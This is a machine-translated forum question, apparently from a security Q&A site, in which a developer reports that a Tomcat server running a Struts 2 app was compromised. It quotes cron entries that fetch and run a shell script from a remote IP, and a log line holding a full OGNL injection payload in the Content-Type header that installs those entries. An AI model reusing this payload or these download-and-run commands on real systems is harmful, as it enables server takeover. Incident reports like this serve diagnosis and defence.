অ্যাপাচি টমক্যাট সার্ভারে একটি প্রকল্পের যুদ্ধ চলাকালীন আমি দেখতে পেলাম যে সার্ভারটি আপোস করা হয়েছে।
যুদ্ধের সময় অজানাতে চালাচ্ছিল cronএভাবে চলছে
[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh
ডাউনলোডের logo.jpgএকটি শেল স্ক্রিপ্ট রয়েছে যা একটি ম্যালওয়্যার ডাউনলোড করছে।
আমি নীচে এই ওয়েবসাইটে অনুরূপ সমস্যা পেয়েছি
https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/
এবং
/security/160068/kworker34-malware-on-linux
আমি আমার সম্পূর্ণ কোডটিতে এই ক্রোন শিডিয়ুলারের উত্স খুঁজে পেতে অক্ষম।
আমি কী জানতে চাইছি যে কেউ এই সমস্যার মুখোমুখি হয়েছে? এবং কোডে শিডিয়ুলারের উত্স খুঁজতে আমার কীভাবে যাওয়া উচিত।
বিঃদ্রঃ:
আমি একটি জাভা (স্ট্রুটস 2) + জেএসপি + জাভাস্ক্রিপ্ট + জকোয়ারি ওয়েব প্রকল্পে কাজ করছি।
এই সময়সূচীটি প্রতিবার প্রজেক্টের যুদ্ধ ফাইলটি দিয়ে আমার টমক্যাট শুরু করার সময় চলছে তবে আমি আমার কোডটিতে শিডিয়ুলারের জন্য কোনও শিডিয়ুলার খুঁজে পাচ্ছি না।
আমি আমার লগ ফাইলগুলিতে নিম্নলিখিত লাইনটি পেয়েছি
[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream,
content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult
আপনি কি ডিফল্ট টমক্যাট লগিনগুলি পরিবর্তন করেছেন এবং হোস্ট-ম্যানেজারকে অক্ষম করেছেন?
আপনি কি এই দুটি ক্রন্টব এন্ট্রি (যা ক্রোন জবস) বা ক্রোন শিডিয়ুলার (কখনও কখনও ক্রোন ডেমন) এর উত্স বলতে চান? আপনি কি নিজের জাভা অ্যাপ্লিকেশন (যেমন
—
জান জেরেবেকি
Runtime.getRuntime().exec("something")) থেকে প্রক্রিয়াগুলি বা শেল স্ক্রিপ্টগুলি স্প্যান করেন ? আপনার প্রকল্পের কোনও লিঙ্ক আছে?
আপনি কিভাবে টমক্যাট শুরু করছেন? আপনি অ্যাপটি কীভাবে নিযুক্ত করছেন? (জিইউআইয়ের মাধ্যমে, স্ক্রিপ্টিং বা কেবলমাত্র ওয়েব অ্যাপগুলিতে .war ফাইলটি অনুলিপি করছেন?